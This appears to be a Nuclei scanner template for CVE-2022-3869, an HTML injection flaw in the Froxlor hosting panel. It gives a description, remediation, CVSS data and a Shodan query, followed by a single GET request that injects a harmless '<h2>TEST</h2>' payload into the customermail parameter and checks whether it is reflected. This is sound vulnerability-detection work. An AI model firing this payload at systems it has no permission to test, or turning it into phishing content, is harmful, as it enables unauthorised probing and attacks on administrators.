id: CVE-2022-3869

info:
  name: Froxlor < 0.10.38.2. - HTML Injection
  author: ctflearner
  severity: medium
  description: |
    HTML Injection in GitHub repository froxlor/froxlor prior to 0.10.38.2.
  impact: |
    Attackers can inject arbitrary HTML content through the customermail parameter, potentially displaying fake content to users and facilitating phishing attacks against Froxlor administrators.
  remediation: |
    Update Froxlor to version 0.10.38.2 or later that properly sanitizes the customermail parameter and encodes HTML output.
  reference:
    - https://huntr.com/bounties/7de20f21-4a9b-445d-ae2b-15ade648900b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3869
    cwe-id: CWE-79
    epss-score: 0.01265
    epss-percentile: 0.65882
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Froxlor"
    product: froxlor
  tags: cve2022,cve,froxlor,html,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?showmessage=4&customermail=\"><h2>TEST</h2>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'The message to ""><h2>TEST</h2>" failed'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100afeebf4327889fad3b4845a9cd37064183ffc15b4598f141955148470adcff59022100b9076f0208b133bbc2edcf59cffbf72ffdfc30c4c34d223ccb0cc4279fc739fd:922c64590222798bb761d5b6d8e72950